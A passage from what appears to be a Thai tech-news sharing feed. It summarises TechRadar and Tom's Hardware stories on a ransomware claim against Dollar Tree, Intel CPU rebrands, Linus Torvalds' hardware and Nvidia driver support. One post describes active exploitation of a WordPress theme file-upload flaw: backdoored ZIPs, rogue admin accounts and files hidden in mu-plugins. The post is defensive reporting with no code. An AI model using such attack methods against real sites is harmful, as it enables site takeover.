ที่โจมตีองค์กรทั่วโลก ➡️ เคยโจมตีองค์กรในภาครัฐ การศึกษา และสุขภาพ ➡️ ใช้เทคนิคขู่เปิดเผยข้อมูลเพื่อเรียกค่าไถ่ ✅ 99 Cents Only ยื่นล้มละลายในเดือนเมษายน 2024 จากผลกระทบของเงินเฟ้อ โควิด และการแข่งขันที่รุนแรง ➡️ ปิดกิจการทั้งหมดภายในกลางปี 2024 ➡️ เป็นหนึ่งในบริษัทค้าปลีกที่ล้มละลายจากภาวะเศรษฐกิจ ✅ INC Ransom เคยโจมตีองค์กรระดับสูง เช่น Stark AeroSpace และ Xerox Corporation ➡️ ไม่เลือกเป้าหมายเฉพาะเจาะจง ➡️ มีเหยื่อมากกว่า 200 รายในช่วง 12 เดือนที่ผ่านมา ✅ การโจมตีแบบ multi-extortion คือการขโมยข้อมูล + ขู่เปิดเผย + เรียกค่าไถ่ ➡️ เป็นรูปแบบที่เพิ่มแรงกดดันให้เหยื่อยอมจ่าย ➡️ ต้องมีระบบป้องกันและแผนตอบสนองที่ชัดเจน ✅ การซื้อกิจการหรือทรัพย์สินจากบริษัทที่ล้มละลายต้องมีการตรวจสอบความปลอดภัยของข้อมูลอย่างเข้มงวด ➡️ ไม่ใช่แค่ตรวจสอบทรัพย์สินทางกายภาพ แต่ต้องรวมถึงระบบดิจิทัล ➡️ ควรมีการล้างข้อมูลและ audit ก่อนนำมาใช้งาน ‼️ แม้ Dollar Tree จะไม่ถูกเจาะโดยตรง แต่ข้อมูลจาก 99 Cents Only อาจมีความเกี่ยวข้องกับลูกค้าเดิมหรือพนักงานที่ยังมีผลกระทบ ⛔ หากข้อมูลนั้นยังมีความเชื่อมโยงกับระบบที่ Dollar Tree ใช้ อาจเกิดความเสี่ยง ⛔ ต้องตรวจสอบว่าไม่มีการนำข้อมูลเดิมมาใช้ซ้ำในระบบใหม่ ‼️ การซื้อสิทธิ์เช่าอาคารโดยไม่ซื้อระบบ ไม่ได้หมายความว่าข้อมูลจะปลอดภัยเสมอไป ⛔ หากมีการโอนอุปกรณ์หรือเซิร์ฟเวอร์โดยไม่ได้ล้างข้อมูล อาจเกิดการรั่วไหล ⛔ ต้องมีการตรวจสอบทรัพย์สินดิจิทัลอย่างละเอียดก่อนนำมาใช้งาน ‼️ การปฏิเสธการถูกแฮกอาจไม่เพียงพอ หากไม่มีการตรวจสอบระบบอย่างโปร่งใส ⛔ ควรมีการเปิดเผยผลการตรวจสอบจากผู้เชี่ยวชาญภายนอก ⛔ เพื่อสร้างความเชื่อมั่นให้กับลูกค้าและพันธมิตร ‼️ การโจมตีแบบ multi-extortion ของ INC Ransom อาจยังดำเนินต่อไป แม้บริษัทจะไม่จ่ายค่าไถ่ ⛔ ข้อมูลอาจถูกเปิดเผยในอนาคตเพื่อกดดันเพิ่มเติม ⛔ ต้องเตรียมแผนรับมือด้านสื่อและกฎหมายล่วงหน้า https://www.techradar.com/pro/security/dollar-tree-denies-data-breach-says-hacker-targeted-its-rival-instead

WWW.TECHRADAR.COM

Dollar Tree denies data breach - says hackers targeted its rival instead
INC Ransom claims to have breached Dollar Tree

0 Comments 0 Shares 76 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:49:18 -

เรื่องเล่าจากข่าว: ธีม WordPress “Alone” ถูกเจาะทะลุ—เปิดทางให้แฮกเกอร์ยึดเว็บแบบเงียบ ๆ

ธีม Alone – Charity Multipurpose Non-profit ซึ่งถูกใช้ในเว็บไซต์องค์กรการกุศลกว่า 200 แห่งทั่วโลก ถูกพบช่องโหว่ร้ายแรง CVE-2025-4394 ที่เปิดให้ผู้ไม่ประสงค์ดีสามารถอัปโหลดไฟล์ ZIP ที่มี backdoor PHP เพื่อรันคำสั่งจากระยะไกล และสร้างบัญชีผู้ดูแลระบบปลอมได้ทันที

ช่องโหว่นี้มีอยู่ในทุกเวอร์ชันก่อน 7.8.5 ซึ่งเพิ่งได้รับการแก้ไขเมื่อวันที่ 16 มิถุนายน 2025 แต่การโจมตีเริ่มขึ้นตั้งแต่วันที่ 12 กรกฎาคม ก่อนที่ช่องโหว่จะถูกเปิดเผยต่อสาธารณะเพียง 2 วัน โดย Wordfence รายงานว่ามีความพยายามโจมตีมากกว่า 120,000 ครั้งแล้วจากหลาย IP ทั่วโลก

แฮกเกอร์ใช้ช่องโหว่นี้เพื่อ:
- สร้างบัญชีแอดมินปลอม
- อัปโหลดมัลแวร์
- เปลี่ยนเส้นทางผู้เยี่ยมชมไปยังเว็บฟิชชิ่ง
- ใช้เว็บไซต์เป็นฐานปล่อยมัลแวร์อื่น

ธีม Alone – Charity Multipurpose ถูกพบช่องโหว่ร้ายแรง CVE-2025-4394
คะแนนความรุนแรง 9.8/10
เปิดทางให้แฮกเกอร์อัปโหลดไฟล์และรันคำสั่งจากระยะไกล

ช่องโหว่นี้มีอยู่ในทุกเวอร์ชันก่อน 7.8.5
เวอร์ชันที่ปลอดภัยคือ 7.8.5 ขึ้นไป
ผู้ใช้ควรอัปเดตทันทีเพื่อป้องกันการโจมตี

Wordfence รายงานว่ามีการโจมตีมากกว่า 120,000 ครั้งแล้ว
เริ่มโจมตีตั้งแต่วันที่ 12 กรกฎาคม 2025
ใช้ไฟล์ ZIP ที่มี backdoor เช่น wp-classic-editor.zip

แฮกเกอร์สามารถสร้างบัญชีแอดมินปลอมและควบคุมเว็บไซต์ได้เต็มรูปแบบ
ใช้เว็บไซต์เป็นฐานปล่อยมัลแวร์หรือ redirect ไปยังเว็บอันตราย
อาจส่งผลต่อชื่อเสียงและข้อมูลผู้ใช้งาน

ธีมนี้ถูกใช้ในเว็บไซต์องค์กรการกุศลและ NGO กว่า 200 แห่งทั่วโลก
มีฟีเจอร์ donation integration และรองรับ Elementor/WPBakery
เป็นธีมเชิงพาณิชย์ที่ได้รับความนิยมในกลุ่มไม่แสวงหากำไร

หากยังใช้เวอร์ชันก่อน 7.8.5 เว็บไซต์ของคุณเสี่ยงต่อการถูกยึดครองทันที
ช่องโหว่เปิดให้ผู้ไม่ประสงค์ดีเข้าถึงระบบโดยไม่ต้องล็อกอิน
อาจถูกใช้เป็นฐานปล่อยมัลแวร์หรือขโมยข้อมูลผู้ใช้

การโจมตีเกิดขึ้นก่อนการเปิดเผยช่องโหว่ต่อสาธารณะ
แสดงว่าแฮกเกอร์ติดตามการเปลี่ยนแปลงโค้ดอย่างใกล้ชิด
อาจมีการโจมตีแบบ zero-day ในธีมอื่น ๆ อีก

ผู้ดูแลเว็บไซต์อาจไม่รู้ว่าถูกเจาะ เพราะมัลแวร์ถูกซ่อนไว้อย่างแนบเนียน
เช่น การสร้างผู้ใช้ชื่อ “officialwp” หรือการซ่อนไฟล์ใน mu-plugins
ต้องตรวจสอบ log และผู้ใช้แอดมินอย่างละเอียด

การใช้ธีมและปลั๊กอินจากแหล่งที่ไม่ปลอดภัยเพิ่มความเสี่ยงอย่างมาก
ธีมเชิงพาณิชย์ที่ไม่มีการอัปเดตสม่ำเสมออาจมีช่องโหว่
ควรใช้ธีมที่ได้รับการตรวจสอบจากผู้เชี่ยวชาญด้านความปลอดภัย

https://www.techradar.com/pro/security/hackers-target-critical-wordpress-theme-flaw-thousands-of-sites-at-risk-from-potential-takeover-find-out-if-youre-affected

🎙️ เรื่องเล่าจากข่าว: ธีม WordPress “Alone” ถูกเจาะทะลุ—เปิดทางให้แฮกเกอร์ยึดเว็บแบบเงียบ ๆ ธีม Alone – Charity Multipurpose Non-profit ซึ่งถูกใช้ในเว็บไซต์องค์กรการกุศลกว่า 200 แห่งทั่วโลก ถูกพบช่องโหว่ร้ายแรง CVE-2025-4394 ที่เปิดให้ผู้ไม่ประสงค์ดีสามารถอัปโหลดไฟล์ ZIP ที่มี backdoor PHP เพื่อรันคำสั่งจากระยะไกล และสร้างบัญชีผู้ดูแลระบบปลอมได้ทันที ช่องโหว่นี้มีอยู่ในทุกเวอร์ชันก่อน 7.8.5 ซึ่งเพิ่งได้รับการแก้ไขเมื่อวันที่ 16 มิถุนายน 2025 แต่การโจมตีเริ่มขึ้นตั้งแต่วันที่ 12 กรกฎาคม ก่อนที่ช่องโหว่จะถูกเปิดเผยต่อสาธารณะเพียง 2 วัน โดย Wordfence รายงานว่ามีความพยายามโจมตีมากกว่า 120,000 ครั้งแล้วจากหลาย IP ทั่วโลก แฮกเกอร์ใช้ช่องโหว่นี้เพื่อ: - สร้างบัญชีแอดมินปลอม - อัปโหลดมัลแวร์ - เปลี่ยนเส้นทางผู้เยี่ยมชมไปยังเว็บฟิชชิ่ง - ใช้เว็บไซต์เป็นฐานปล่อยมัลแวร์อื่น ✅ ธีม Alone – Charity Multipurpose ถูกพบช่องโหว่ร้ายแรง CVE-2025-4394 ➡️ คะแนนความรุนแรง 9.8/10 ➡️ เปิดทางให้แฮกเกอร์อัปโหลดไฟล์และรันคำสั่งจากระยะไกล ✅ ช่องโหว่นี้มีอยู่ในทุกเวอร์ชันก่อน 7.8.5 ➡️ เวอร์ชันที่ปลอดภัยคือ 7.8.5 ขึ้นไป ➡️ ผู้ใช้ควรอัปเดตทันทีเพื่อป้องกันการโจมตี ✅ Wordfence รายงานว่ามีการโจมตีมากกว่า 120,000 ครั้งแล้ว ➡️ เริ่มโจมตีตั้งแต่วันที่ 12 กรกฎาคม 2025 ➡️ ใช้ไฟล์ ZIP ที่มี backdoor เช่น wp-classic-editor.zip ✅ แฮกเกอร์สามารถสร้างบัญชีแอดมินปลอมและควบคุมเว็บไซต์ได้เต็มรูปแบบ ➡️ ใช้เว็บไซต์เป็นฐานปล่อยมัลแวร์หรือ redirect ไปยังเว็บอันตราย ➡️ อาจส่งผลต่อชื่อเสียงและข้อมูลผู้ใช้งาน ✅ ธีมนี้ถูกใช้ในเว็บไซต์องค์กรการกุศลและ NGO กว่า 200 แห่งทั่วโลก ➡️ มีฟีเจอร์ donation integration และรองรับ Elementor/WPBakery ➡️ เป็นธีมเชิงพาณิชย์ที่ได้รับความนิยมในกลุ่มไม่แสวงหากำไร ‼️ หากยังใช้เวอร์ชันก่อน 7.8.5 เว็บไซต์ของคุณเสี่ยงต่อการถูกยึดครองทันที ⛔ ช่องโหว่เปิดให้ผู้ไม่ประสงค์ดีเข้าถึงระบบโดยไม่ต้องล็อกอิน ⛔ อาจถูกใช้เป็นฐานปล่อยมัลแวร์หรือขโมยข้อมูลผู้ใช้ ‼️ การโจมตีเกิดขึ้นก่อนการเปิดเผยช่องโหว่ต่อสาธารณะ ⛔ แสดงว่าแฮกเกอร์ติดตามการเปลี่ยนแปลงโค้ดอย่างใกล้ชิด ⛔ อาจมีการโจมตีแบบ zero-day ในธีมอื่น ๆ อีก ‼️ ผู้ดูแลเว็บไซต์อาจไม่รู้ว่าถูกเจาะ เพราะมัลแวร์ถูกซ่อนไว้อย่างแนบเนียน ⛔ เช่น การสร้างผู้ใช้ชื่อ “officialwp” หรือการซ่อนไฟล์ใน mu-plugins ⛔ ต้องตรวจสอบ log และผู้ใช้แอดมินอย่างละเอียด ‼️ การใช้ธีมและปลั๊กอินจากแหล่งที่ไม่ปลอดภัยเพิ่มความเสี่ยงอย่างมาก ⛔ ธีมเชิงพาณิชย์ที่ไม่มีการอัปเดตสม่ำเสมออาจมีช่องโหว่ ⛔ ควรใช้ธีมที่ได้รับการตรวจสอบจากผู้เชี่ยวชาญด้านความปลอดภัย https://www.techradar.com/pro/security/hackers-target-critical-wordpress-theme-flaw-thousands-of-sites-at-risk-from-potential-takeover-find-out-if-youre-affected

WWW.TECHRADAR.COM

Hackers target critical WordPress theme flaw - hundreds of sites at risk from potential takeover, find out if you're affected
Bug which allows for WordPress site takeover is being actively exploited in the wild

0 Comments 0 Shares 74 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:47:51 -

เรื่องเล่าจากข่าว: Intel Core 5 120F—รีแบรนด์หรือรีเฟรช? เมื่อชิปเก่ากลับมาในชื่อใหม่

Intel เปิดตัวชิป Core 5 120 และ Core 5 120F (รุ่นไม่มี iGPU) โดยระบุว่าเป็นส่วนหนึ่งของ “Core Series 1” แต่เมื่อดูสเปกแล้วกลับพบว่ามันแทบจะเหมือนกับ Core i5-12400 ทุกประการ:
- 6 P-core / 12 threads
- L3 cache 18MB, L2 cache 7.5MB
- Base clock 2.5GHz, Boost clock 4.5GHz (เพิ่มจาก 4.4GHz เดิมเพียง 100MHz)
- ไม่มี E-core และไม่รองรับการโอเวอร์คล็อก

แม้จะใช้ชื่อใหม่ แต่สถาปัตยกรรมภายในยังคงเป็น Alder Lake หรืออาจเป็น Raptor Cove แบบตัด E-core ออก ซึ่งทำให้หลายคนมองว่าเป็นการ “แต่งหน้าชิปเก่า” เพื่อขายใหม่ในราคาที่สูงขึ้น

Intel ยังไม่เปิดเผยราคาทางการ แต่คาดว่าจะอยู่ในช่วง $130–150 ซึ่งสูงกว่า i5-12400F ที่เคยขายต่ำกว่า $110 ในบางช่วง

Intel เปิดตัว Core 5 120 และ Core 5 120F สำหรับตลาดเกมเมอร์งบน้อย
ใช้ชื่อใหม่ “Core Series 1” แต่สเปกคล้าย i5-12400 มาก
รุ่น 120F ไม่มี iGPU เหมาะกับผู้ใช้ที่มีการ์ดจอแยก

สเปกของ Core 5 120F แทบจะเหมือนกับ i5-12400F
6 P-core / 12 threads, ไม่มี E-core
Boost clock เพิ่มขึ้นเพียง 100MHz เป็น 4.5GHz

รองรับ DDR5-4800 และ DDR4-3200 บนเมนบอร์ด LGA1700 เดิม
ใช้งานร่วมกับเมนบอร์ด Alder Lake และ Raptor Lake ได้
ต้องอัปเดต BIOS ก่อนใช้งาน

Intel อาจใช้ die รุ่นเก่า (H0 หรือ C0) เพื่อผลิตชิปนี้ในต้นทุนต่ำ
ไม่มีการระบุ stepping อย่างเป็นทางการ
อาจมีความแตกต่างด้านความร้อนและประสิทธิภาพเล็กน้อย

ชิปนี้ถูกวางตำแหน่งเป็นตัวเลือกสำหรับเกมเมอร์ที่ต้องการเล่น AAA 1080p โดยไม่ต้องจ่ายแพง
เหมาะกับผู้ที่ต้องการประสิทธิภาพพื้นฐานโดยไม่เน้นฟีเจอร์พิเศษ
ใช้พลังงานเพียง 65W

https://www.tomshardware.com/pc-components/cpus/intel-quietly-rolls-out-new-core-5-cpus-that-look-suspiciously-like-12th-gen-chips-core-5-120-and-core-5-120f-enter-the-budget-gaming-market-with-i5-12400-specs-and-100-mhz-boost

🎙️ เรื่องเล่าจากข่าว: Intel Core 5 120F—รีแบรนด์หรือรีเฟรช? เมื่อชิปเก่ากลับมาในชื่อใหม่ Intel เปิดตัวชิป Core 5 120 และ Core 5 120F (รุ่นไม่มี iGPU) โดยระบุว่าเป็นส่วนหนึ่งของ “Core Series 1” แต่เมื่อดูสเปกแล้วกลับพบว่ามันแทบจะเหมือนกับ Core i5-12400 ทุกประการ: - 6 P-core / 12 threads - L3 cache 18MB, L2 cache 7.5MB - Base clock 2.5GHz, Boost clock 4.5GHz (เพิ่มจาก 4.4GHz เดิมเพียง 100MHz) - ไม่มี E-core และไม่รองรับการโอเวอร์คล็อก แม้จะใช้ชื่อใหม่ แต่สถาปัตยกรรมภายในยังคงเป็น Alder Lake หรืออาจเป็น Raptor Cove แบบตัด E-core ออก ซึ่งทำให้หลายคนมองว่าเป็นการ “แต่งหน้าชิปเก่า” เพื่อขายใหม่ในราคาที่สูงขึ้น Intel ยังไม่เปิดเผยราคาทางการ แต่คาดว่าจะอยู่ในช่วง $130–150 ซึ่งสูงกว่า i5-12400F ที่เคยขายต่ำกว่า $110 ในบางช่วง ✅ Intel เปิดตัว Core 5 120 และ Core 5 120F สำหรับตลาดเกมเมอร์งบน้อย ➡️ ใช้ชื่อใหม่ “Core Series 1” แต่สเปกคล้าย i5-12400 มาก ➡️ รุ่น 120F ไม่มี iGPU เหมาะกับผู้ใช้ที่มีการ์ดจอแยก ✅ สเปกของ Core 5 120F แทบจะเหมือนกับ i5-12400F ➡️ 6 P-core / 12 threads, ไม่มี E-core ➡️ Boost clock เพิ่มขึ้นเพียง 100MHz เป็น 4.5GHz ✅ รองรับ DDR5-4800 และ DDR4-3200 บนเมนบอร์ด LGA1700 เดิม ➡️ ใช้งานร่วมกับเมนบอร์ด Alder Lake และ Raptor Lake ได้ ➡️ ต้องอัปเดต BIOS ก่อนใช้งาน ✅ Intel อาจใช้ die รุ่นเก่า (H0 หรือ C0) เพื่อผลิตชิปนี้ในต้นทุนต่ำ ➡️ ไม่มีการระบุ stepping อย่างเป็นทางการ ➡️ อาจมีความแตกต่างด้านความร้อนและประสิทธิภาพเล็กน้อย ✅ ชิปนี้ถูกวางตำแหน่งเป็นตัวเลือกสำหรับเกมเมอร์ที่ต้องการเล่น AAA 1080p โดยไม่ต้องจ่ายแพง ➡️ เหมาะกับผู้ที่ต้องการประสิทธิภาพพื้นฐานโดยไม่เน้นฟีเจอร์พิเศษ ➡️ ใช้พลังงานเพียง 65W https://www.tomshardware.com/pc-components/cpus/intel-quietly-rolls-out-new-core-5-cpus-that-look-suspiciously-like-12th-gen-chips-core-5-120-and-core-5-120f-enter-the-budget-gaming-market-with-i5-12400-specs-and-100-mhz-boost

WWW.TOMSHARDWARE.COM

Intel quietly rolls out 'new' Core 5 CPUs that look suspiciously like 12th Gen chips — Core 5 120 and Core 5 120F enter the budget gaming market with i5-12400 specs and 100 MHz boost
Hello Core i5-12400, is that you?

0 Comments 0 Shares 56 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:46:09 -

เรื่องเล่าจากข่าว: Linus Torvalds กับ “เครื่องมือที่พอเพียง” เพื่อสร้างสิ่งยิ่งใหญ่

แม้โลกจะหมุนไปด้วย AI และฮาร์ดแวร์สุดล้ำ แต่ Linus Torvalds ยังคงใช้ AMD Radeon RX 580 ซึ่งเป็นการ์ดจอรุ่นเก่ากว่า 8 ปีเป็นเครื่องมือหลักในการพัฒนา Linux kernel โดยจับคู่กับซีพียู AMD Threadripper เพื่อเร่งการคอมไพล์เคอร์เนลให้เร็วขึ้น

เขาเผยข้อมูลนี้ผ่านการรายงานบั๊กเกี่ยวกับฟีเจอร์ Display Stream Compression (DSC) บน Linux 6.17 ซึ่งทำให้จอ ASUS ProArt 5K ของเขาขึ้นจอดำ Torvalds ลงมือแก้ไขเองโดยย้อนแพตช์ที่เป็นต้นเหตุ เพื่อให้การพัฒนาเคอร์เนลดำเนินต่อไปได้

นอกจากนี้ เขายังเปลี่ยนจาก Apple M1 MacBook ที่เคยใช้สำหรับทดสอบ ARM64 มาเป็นแล็ปท็อป Intel ที่ใช้กราฟิก i915 แบบเปิดแทน โดยให้เหตุผลว่าไม่ชอบระบบที่ล็อกฮาร์ดแวร์และขัดขวางการพัฒนาเคอร์เนล

Linus Torvalds ยังคงใช้ AMD RX 580 เป็นการ์ดจอหลักในปี 2025
ใช้คู่กับจอ ASUS ProArt 5K ผ่านฟีเจอร์ DSC
แม้จะเก่า แต่ยังรองรับงานพัฒนาเคอร์เนลได้ดี

เขาใช้ AMD Threadripper เป็นซีพียูหลักเพื่อคอมไพล์เคอร์เนลอย่างรวดเร็ว
เปลี่ยนจาก Intel มาใช้ Threadripper หลายปีก่อน
แม้จะมีรุ่นใหม่ออกมา แต่เขายังใช้ระบบเดิมเพราะ “ดีพอแล้ว”

Torvalds รายงานบั๊กเกี่ยวกับ DSC บน Linux 6.17 และแก้ไขด้วยตัวเอง
ปัญหาทำให้จอขึ้นจอดำเมื่อบูตเคอร์เนลใหม่
เขาย้อนแพตช์เพื่อให้การพัฒนาไม่สะดุด

เขาเปลี่ยนจาก Apple M1 MacBook มาใช้แล็ปท็อป Intel ที่ใช้กราฟิก i915
ไม่ระบุรุ่น แต่ยืนยันว่าเป็น Intel แบบเปิด
เหตุผลคือไม่ชอบระบบที่ล็อกฮาร์ดแวร์และขัดขวางการพัฒนา

Torvalds เคยใช้ Ampere Altra สำหรับทดสอบ ARM64 Linux kernel
เป็นระบบที่มีคอร์จำนวนมาก เหมาะกับการคอมไพล์แบบขนาน
ใช้ควบคู่กับระบบหลักเพื่อทดสอบหลายสถาปัตยกรรม

AMD RX 580 ไม่เหมาะกับงานกราฟิกหรือ AI สมัยใหม่
ประสิทธิภาพต่ำเมื่อเทียบกับ GPU รุ่นใหม่
ไม่รองรับฟีเจอร์อย่าง ray tracing หรือ DLSS

การใช้ฮาร์ดแวร์เก่าอาจมีข้อจำกัดด้านพลังงานและการรองรับฟีเจอร์ใหม่
อาจไม่สามารถใช้งานกับซอฟต์แวร์หรือเกมรุ่นใหม่ได้
ต้องพึ่งพาการสนับสนุนจากไดรเวอร์โอเพ่นซอร์สเท่านั้น

การเปลี่ยนจาก Apple Silicon มาใช้ Intel อาจลดประสิทธิภาพในบางด้าน
Apple M1/M2 มีประสิทธิภาพสูงและประหยัดพลังงาน
แต่ไม่เหมาะกับการพัฒนาเคอร์เนลที่ต้องการระบบเปิด

การพัฒนาเคอร์เนลบนระบบที่ไม่เสถียรอาจทำให้เกิดบั๊กหรือปัญหาไม่คาดคิด
เช่นกรณี DSC ที่ทำให้จอขึ้นจอดำ
ต้องมีความเข้าใจลึกในการแก้ไขปัญหาเอง

https://www.tomshardware.com/tech-industry/linus-torvalds-still-uses-an-amd-rx-580-from-2017-also-ditches-apple-silicon-for-an-intel-laptop

🎙️ เรื่องเล่าจากข่าว: Linus Torvalds กับ “เครื่องมือที่พอเพียง” เพื่อสร้างสิ่งยิ่งใหญ่ แม้โลกจะหมุนไปด้วย AI และฮาร์ดแวร์สุดล้ำ แต่ Linus Torvalds ยังคงใช้ AMD Radeon RX 580 ซึ่งเป็นการ์ดจอรุ่นเก่ากว่า 8 ปีเป็นเครื่องมือหลักในการพัฒนา Linux kernel โดยจับคู่กับซีพียู AMD Threadripper เพื่อเร่งการคอมไพล์เคอร์เนลให้เร็วขึ้น เขาเผยข้อมูลนี้ผ่านการรายงานบั๊กเกี่ยวกับฟีเจอร์ Display Stream Compression (DSC) บน Linux 6.17 ซึ่งทำให้จอ ASUS ProArt 5K ของเขาขึ้นจอดำ Torvalds ลงมือแก้ไขเองโดยย้อนแพตช์ที่เป็นต้นเหตุ เพื่อให้การพัฒนาเคอร์เนลดำเนินต่อไปได้ นอกจากนี้ เขายังเปลี่ยนจาก Apple M1 MacBook ที่เคยใช้สำหรับทดสอบ ARM64 มาเป็นแล็ปท็อป Intel ที่ใช้กราฟิก i915 แบบเปิดแทน โดยให้เหตุผลว่าไม่ชอบระบบที่ล็อกฮาร์ดแวร์และขัดขวางการพัฒนาเคอร์เนล ✅ Linus Torvalds ยังคงใช้ AMD RX 580 เป็นการ์ดจอหลักในปี 2025 ➡️ ใช้คู่กับจอ ASUS ProArt 5K ผ่านฟีเจอร์ DSC ➡️ แม้จะเก่า แต่ยังรองรับงานพัฒนาเคอร์เนลได้ดี ✅ เขาใช้ AMD Threadripper เป็นซีพียูหลักเพื่อคอมไพล์เคอร์เนลอย่างรวดเร็ว ➡️ เปลี่ยนจาก Intel มาใช้ Threadripper หลายปีก่อน ➡️ แม้จะมีรุ่นใหม่ออกมา แต่เขายังใช้ระบบเดิมเพราะ “ดีพอแล้ว” ✅ Torvalds รายงานบั๊กเกี่ยวกับ DSC บน Linux 6.17 และแก้ไขด้วยตัวเอง ➡️ ปัญหาทำให้จอขึ้นจอดำเมื่อบูตเคอร์เนลใหม่ ➡️ เขาย้อนแพตช์เพื่อให้การพัฒนาไม่สะดุด ✅ เขาเปลี่ยนจาก Apple M1 MacBook มาใช้แล็ปท็อป Intel ที่ใช้กราฟิก i915 ➡️ ไม่ระบุรุ่น แต่ยืนยันว่าเป็น Intel แบบเปิด ➡️ เหตุผลคือไม่ชอบระบบที่ล็อกฮาร์ดแวร์และขัดขวางการพัฒนา ✅ Torvalds เคยใช้ Ampere Altra สำหรับทดสอบ ARM64 Linux kernel ➡️ เป็นระบบที่มีคอร์จำนวนมาก เหมาะกับการคอมไพล์แบบขนาน ➡️ ใช้ควบคู่กับระบบหลักเพื่อทดสอบหลายสถาปัตยกรรม ‼️ AMD RX 580 ไม่เหมาะกับงานกราฟิกหรือ AI สมัยใหม่ ⛔ ประสิทธิภาพต่ำเมื่อเทียบกับ GPU รุ่นใหม่ ⛔ ไม่รองรับฟีเจอร์อย่าง ray tracing หรือ DLSS ‼️ การใช้ฮาร์ดแวร์เก่าอาจมีข้อจำกัดด้านพลังงานและการรองรับฟีเจอร์ใหม่ ⛔ อาจไม่สามารถใช้งานกับซอฟต์แวร์หรือเกมรุ่นใหม่ได้ ⛔ ต้องพึ่งพาการสนับสนุนจากไดรเวอร์โอเพ่นซอร์สเท่านั้น ‼️ การเปลี่ยนจาก Apple Silicon มาใช้ Intel อาจลดประสิทธิภาพในบางด้าน ⛔ Apple M1/M2 มีประสิทธิภาพสูงและประหยัดพลังงาน ⛔ แต่ไม่เหมาะกับการพัฒนาเคอร์เนลที่ต้องการระบบเปิด ‼️ การพัฒนาเคอร์เนลบนระบบที่ไม่เสถียรอาจทำให้เกิดบั๊กหรือปัญหาไม่คาดคิด ⛔ เช่นกรณี DSC ที่ทำให้จอขึ้นจอดำ ⛔ ต้องมีความเข้าใจลึกในการแก้ไขปัญหาเอง https://www.tomshardware.com/tech-industry/linus-torvalds-still-uses-an-amd-rx-580-from-2017-also-ditches-apple-silicon-for-an-intel-laptop

WWW.TOMSHARDWARE.COM

Linus Torvalds still uses an AMD RX 580 from 2017 — also ditches Apple Silicon for an Intel laptop
Polaris still enjoys Linux support, both from the code and its creator

0 Comments 0 Shares 65 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:44:29 -

เรื่องเล่าจากข่าว: Nvidia ปิดฉากการ์ดจอรุ่นเก๋า พร้อมส่งท้ายด้วยอัปเดตความปลอดภัย 3 ปี

หลังจากให้บริการมานานกว่า 9–11 ปี Nvidia ประกาศว่า GPU ตระกูล Maxwell (GTX 900), Pascal (GTX 10) และ Volta (Titan V) จะได้รับไดรเวอร์ Game Ready ครั้งสุดท้ายในเดือนตุลาคม 2025 จากนั้นจะเปลี่ยนไปให้ “อัปเดตด้านความปลอดภัยรายไตรมาส” จนถึงตุลาคม 2028

แม้จะไม่มีการปรับแต่งประสิทธิภาพหรือรองรับเกมใหม่อีกต่อไป แต่ผู้ใช้ยังสามารถเล่นเกมเดิมได้ตามปกติ หากเกมนั้นไม่ต้องการฟีเจอร์ใหม่อย่าง ray tracing หรือ DLSS ซึ่ง GPU รุ่นเก่าไม่รองรับอยู่แล้ว

Nvidia ยังประกาศว่าจะขยายการสนับสนุน Game Ready บน Windows 10 สำหรับ GPU ตระกูล RTX ไปจนถึงตุลาคม 2026 แม้ Microsoft จะหยุดสนับสนุน Windows 10 ในเดือนตุลาคม 2025 ก็ตาม

Nvidia จะหยุดออกไดรเวอร์ Game Ready สำหรับ GPU Maxwell, Pascal และ Volta ในเดือนตุลาคม 2025
การ์ดจอที่ได้รับผลกระทบ ได้แก่ GTX 900, GTX 10 และ Titan V
จะยังได้รับอัปเดตด้านความปลอดภัยรายไตรมาสไปจนถึงตุลาคม 2028

การ์ดจอรุ่นเก่าเหล่านี้จะยังสามารถเล่นเกมได้ หากไม่ต้องการฟีเจอร์ใหม่
เช่น ray tracing หรือ DLSS ที่เริ่มมีในสถาปัตยกรรม Turing เป็นต้นไป
เกมเก่าและเกมที่ไม่ใช้ฟีเจอร์ใหม่ยังสามารถรันได้ตามปกติ

Nvidia จะยังสนับสนุน Game Ready บน Windows 10 สำหรับ RTX GPU ไปจนถึงตุลาคม 2026
เป็นการขยายเวลาหลังจาก Microsoft หยุดสนับสนุน Windows 10 ในตุลาคม 2025
ช่วยให้ผู้ใช้มีเวลาวางแผนอัปเกรดระบบ

GPU Maxwell เปิดตัวในปี 2014 และ Pascal ในปี 2016 ถือว่าได้รับการสนับสนุนยาวนานถึง 11 ปี
เกินมาตรฐานอุตสาหกรรมทั่วไป
GTX 1060 ยังติดอันดับการ์ดจอยอดนิยมใน Steam Survey ปี 2025

ผู้ใช้ Pascal ยังสามารถใช้ Intel XeSS DP4a สำหรับการอัปสเกลภาพในบางเกมได้
เป็นทางเลือกแทน DLSS ที่ไม่รองรับบน GPU รุ่นเก่า
ช่วยยืดอายุการใช้งานในเกมที่รองรับ

หลังตุลาคม 2025 จะไม่มีการปรับแต่งประสิทธิภาพหรือแก้บั๊กสำหรับเกมใหม่อีกต่อไป
เกมใหม่อาจรันได้ไม่ดี หรือไม่เสถียรบน GPU Maxwell/Pascal
ไม่มีการเพิ่มฟีเจอร์ใหม่หรือรองรับเทคโนโลยีล่าสุด

GPU รุ่นเก่าไม่รองรับ DLSS หรือ ray tracing ซึ่งกลายเป็นมาตรฐานในเกม AAA ยุคใหม่
ทำให้ภาพและประสิทธิภาพด้อยกว่าการ์ดรุ่นใหม่
อาจไม่สามารถเล่นเกมที่บังคับใช้ฟีเจอร์เหล่านี้ได้เลย

Windows 10 จะหยุดรับการอัปเดตจาก Microsoft ในตุลาคม 2025
แม้ Nvidia จะขยายการสนับสนุนไปถึง 2026 แต่ระบบปฏิบัติการจะไม่มีฟีเจอร์ใหม่หรือแพตช์จาก Microsoft
เสี่ยงต่อช่องโหว่ด้านความปลอดภัยในระดับระบบ

ผู้ใช้ที่ยังใช้ GPU รุ่นเก่าอาจต้องวางแผนอัปเกรดในอีกไม่กี่ปีข้างหน้า
หากต้องการเล่นเกมใหม่หรือใช้งานฟีเจอร์ AI เช่น DLSS 4
การ์ดรุ่นใหม่อาจมีข้อกำหนดด้านระบบที่ต้องใช้ Windows 11

